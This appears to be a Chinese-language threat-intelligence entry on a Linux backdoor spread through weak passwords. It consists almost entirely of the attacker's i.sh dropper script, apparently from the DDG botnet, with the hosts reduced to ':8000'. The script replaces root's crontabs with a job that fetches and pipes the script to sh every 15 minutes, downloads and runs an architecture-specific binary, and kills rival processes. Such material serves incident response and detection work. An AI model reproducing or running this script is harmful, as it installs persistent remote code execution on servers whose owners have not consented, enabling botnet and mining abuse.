Linux后门 | 情报详情

利用系统若口令linux 后门linux 后门，插入任务计划，生成后门

wget -q :8000/static/3022/ddgs.$(uname -m) -O mlfobce

:8000/i.sh

-----------------------------------------------------------i.sh-----------------------------------------------------------------

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * (curl -fsSL :8000/i.sh||wget -q -O- :8000/i.sh) | sh" | crontab -

echo "" > /var/spool/cron/root

echo "*/15 * * * * wget -q -O- :8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "" > /var/spool/cron/crontabs/root

echo "*/15 * * * * wget -q -O- :8000/i.sh | sh" >> /var/spool/cron/crontabs/root

cd /tmp

touch /usr/local/bin/writeable && cd /usr/local/bin/

touch /usr/libexec/writeable && cd /usr/libexec/

touch /usr/bin/writeable && cd /usr/bin/

rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)

ps auxf | grep -v grep | grep mlfobce || rm -rf mlfobce

if [ ! -f "mlfobce" ]; then

wget -q :8000/static/3022/ddgs.$(uname -m) -O mlfobce

fi

chmod +x mlfobce

$(pwd)/mlfobce || /usr/bin/mlfobce || /usr/libexec/mlfobce || /usr/local/bin/mlfobce || mlfobce || ./mlfobce || /tmp/mlfobce

ps auxf | grep -v grep | grep mlfobcb | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep mlfobcd | awk '{print $2}' | xargs kill -9

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